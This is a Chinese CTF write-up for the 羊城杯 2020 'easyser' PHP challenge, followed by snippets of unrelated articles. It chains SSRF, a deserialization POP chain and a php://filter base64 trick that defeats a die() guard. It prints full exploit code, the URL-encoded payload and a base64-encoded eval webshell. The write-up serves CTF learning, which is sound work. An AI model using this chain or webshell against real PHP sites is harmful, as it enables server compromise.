[羊城杯 2020]easyser - 反序列化+SSRF+伪协议(绕过死亡die)

news/2024/5/19 22:26:09 标签: web安全, 安全, ctf, php, 伪协议, ssrf

[羊城杯 2020]easyser

  • 一、解题过程
    • (一)、一阶段
    • (二)、二阶段
  • 二、思考总结

2

一、解题过程

(一)、一阶段

  1. 可以直接使用ctf-wscan扫描一下有什么文件,或者直接试试robots.txt能不能行
    1
    直接打开star1.php
    1
    看到这页面,和页面提示,基本和SSRF有关系了
  2. F12看提示: 小胖说用个不安全的协议从我家才能进ser.php呢! !
    意思就是http协议就能进ser.php,回顾一下http协议咋用的?
    http://ser.php ×
    http://127.0.0.1/ser.php √
    php"><?php
    	error_reporting(0);
    	if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    	    highlight_file(__FILE__);
    	} 
    	$flag='{Trump_:"fake_news!"}';
    	
    	class GWHT{
    	    public $hero;
    	    public function __construct(){
    	        $this->hero = new Yasuo;
    	    }
    	    public function __toString(){
    	        if (isset($this->hero)){
    	            return $this->hero->hasaki();
    	        }else{
    	            return "You don't look very happy";
    	        }
    	    }
    	}
    	class Yongen{ //flag.php
    	    public $file;
    	    public $text;
    	    public function __construct($file='',$text='') {
    	        $this -> file = $file;
    	        $this -> text = $text;
    	        
    	    }
    	    public function hasaki(){
    	        $d   = '<?php die("nononon");?>';
    	        $a= $d. $this->text;
    	         @file_put_contents($this-> file,$a);
    	    }
    	}
    	class Yasuo{
    	    public function hasaki(){
    	        return "I'm the best happy windy man";
    	    }
    	}
    ?> your hat is too black!
    
  3. 分析
    起点:GWHT(__construct)终点:Yongen(hasaki)
    链条:GWHT(construct -> toString)-> Yongen(construct -> hasaki)
    属性:GWHT(hero=$y)-> Yongen(file=伪协议代码;text=一句话;)
  4. 根据ser.php构造pop链
    php"><?php 
    	class GWHT{
    	    public $hero;
    	}
    	class Yongen{
    	    public $file;
    	    public $text;
    	}
    	
    	$g = new GWHT();
    	$y = new Yongen();
    	$g->hero = $y;
    	$y->file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
    	$y->text = "PD9waHAgQGV2YWwoJF9QT1NUWyJwd2QiXSk7Pz4=";
    	
    	echo urlencode(serialize($g));
    ?>
    
    绕死亡die原理:写入shell.php的内容会进行base64解码,而'<?php die("nononon");?>'; 经过解码会变成乱码而失效,这样就绕过了
    得到:O%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO%3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A77%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A4%3A%22text%22%3Bs%3A40%3A%22PD9waHAgQGV2YWwoJF9QT1NUWyJwd2QiXSk7Pz4%3D%22%3B%7D%7D
    

(二)、二阶段

在得到序列化数据之后,有个问题,怎么传参?参数名是啥?
这里需要用一个工具:arjun

arjun -u http://node4.anna.nssctf.cn:28330/star1.php?path=http%3A%2F%2F127.0.0.1%2Fser.php -d 1
得到参数是c

payload=?path=http%3A%2F%2F127.0.0.1%2Fstar1.php&c=O%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO%3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A77%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A4%3A%22text%22%3Bs%3A40%3A%22PD9waHAgQGV2YWwoJF9QT1NUWyJwd2QiXSk7Pz4%3D%22%3B%7D%7D

蚁剑连接shell.php即可查看flag

二、思考总结

1、我使用arjun工具扫不出来这题的参数,不太清楚原因
2、这题的unserialize函数在star1.php,ser.php没显示,但是还是可以正常反序列化


http://www.niftyadmin.cn/n/5075146.html

相关文章

Spring:注解方式启用AOP

EnableAspectJAutoProxy proxyTargetClasstrue:强制使用cglib动态代理 exposeProxytrue在当前线程暴露代理对象,这样就可以通过AopContext.currentProxy来拿到代理对象 package cn.edu.tju.service5;import org.springframework.aop.framework.AopContext; import org.springf…

Unity官方文档中关于内存管理的翻译(2021.3)

原文:Memory in Unity - Unity 手册 Unity内存管理 为了确保您的应用程序运行时没有性能问题&#xff0c;了解Unity如何使用和分配内存非常重要。本文档的这一部分解释了Unity中内存是如何工作的&#xff0c;适用于希望了解如何提高应用程序内存性能的读者。 Unity使用三个内…

深入浅出的介绍一下虚拟机VMware Workstation——part2(详细安装与使用)

目录 虚拟机概念虚拟机软件安装准备点击创建新的虚拟机&#xff1a;选择要安装的系统镜像文件&#xff08;.iso文件&#xff0c;自己网上找&#xff0c;比如win10的win11的或者mac的系统镜像&#xff09;选择与iso文件对应的系统设置虚拟机名称和位置设置虚拟机基础信息 VMware…

强化学习和torchrl

torchrl是一个基于pytorch的强化学习库&#xff0c;我发现根据torchrl的结构可以对强化学习知识点有更加深入的理解&#xff0c;下面将我的理解记录如下&#xff1a; torchrl中将强化学习的过程分为了几个部分&#xff1a; 环境&#xff0c;需要实现reset, step两个方法repla…

根据二叉树创建字符串--力扣

&#x1f388;个人主页:&#x1f388; :✨✨✨初阶牛✨✨✨ &#x1f43b;强烈推荐优质专栏: &#x1f354;&#x1f35f;&#x1f32f;C的世界(持续更新中) &#x1f43b;推荐专栏1: &#x1f354;&#x1f35f;&#x1f32f;C语言初阶 &#x1f43b;推荐专栏2: &#x1f354;…

计算机组成与设计的一些概念扫盲

一、术语 超标量架构 早期的单发射架构微处理器的流水线设计目标是做到平均每个时钟周期能执行一条指令&#xff0c;但这一目标不能满足提高处理器性能的要求。为了提高处理器的性能&#xff0c;处理器要具有每个时钟周期发射执行多条指令的能力。超标量体系结构可描述一种微处…

SLAM从入门到精通(基于传感器的闭环控制仿真)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 前面我们对底盘做了控制&#xff0c;对传感器数据也进行了读取&#xff0c;但是目前为止还没有做过一个完整的ros仿真程序。在这仿真中&#xff0c…

设计模式 - 创建型模式考点篇:工厂模式、建造者模式

目录 一、创建型模式 一句话概括 1.1、工厂模式 1.1.1、简单工厂模式&#xff08;非 23 种经典设计模式&#xff09; 概述 案例 1.1.2、静态工厂&#xff08;扩展&#xff09; 1.1.3、工厂方法模式 概念 案例 1.2、建造者模式 1.2.1、概念 1.2.2、案例 1.2.3、建…